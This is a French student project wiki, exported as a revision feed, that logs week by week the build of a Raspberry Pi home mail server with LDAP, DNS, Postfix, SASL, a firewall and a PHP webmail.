On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25950</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25950"/>
				<updated>2016-02-02T12:27:33Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 15 (11/01/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
